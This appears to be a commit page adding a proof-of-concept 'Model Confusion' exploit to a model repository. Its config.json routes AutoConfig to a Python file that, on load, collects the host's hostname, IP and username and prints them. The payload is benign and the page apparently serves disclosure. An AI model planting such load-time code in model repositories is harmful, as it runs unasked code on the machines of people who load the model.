Upload 2 files
Browse files- config.json +6 -0
- configuration_poc.py +20 -0
config.json
ADDED
|
@@ -0,0 +1,6 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"auto_map": {
|
| 3 |
+
"AutoConfig": "configuration_poc.PocConfig"
|
| 4 |
+
},
|
| 5 |
+
"model_type": "poc"
|
| 6 |
+
}
|
configuration_poc.py
ADDED
|
@@ -0,0 +1,20 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import getpass
|
| 2 |
+
import socket
|
| 3 |
+
|
| 4 |
+
from transformers import PretrainedConfig
|
| 5 |
+
|
| 6 |
+
hostname = socket.gethostname()
|
| 7 |
+
try:
|
| 8 |
+
ip = socket.gethostbyname(hostname)
|
| 9 |
+
except socket.gaierror:
|
| 10 |
+
ip = "unresolved"
|
| 11 |
+
username = getpass.getuser()
|
| 12 |
+
|
| 13 |
+
print("This PoC demonstrate a code execution for Model Confusion in AWS repository")
|
| 14 |
+
print(f"hostname: {hostname}")
|
| 15 |
+
print(f"ip: {ip}")
|
| 16 |
+
print(f"username: {username}")
|
| 17 |
+
|
| 18 |
+
|
| 19 |
+
class PocConfig(PretrainedConfig):
|
| 20 |
+
model_type = "poc"
|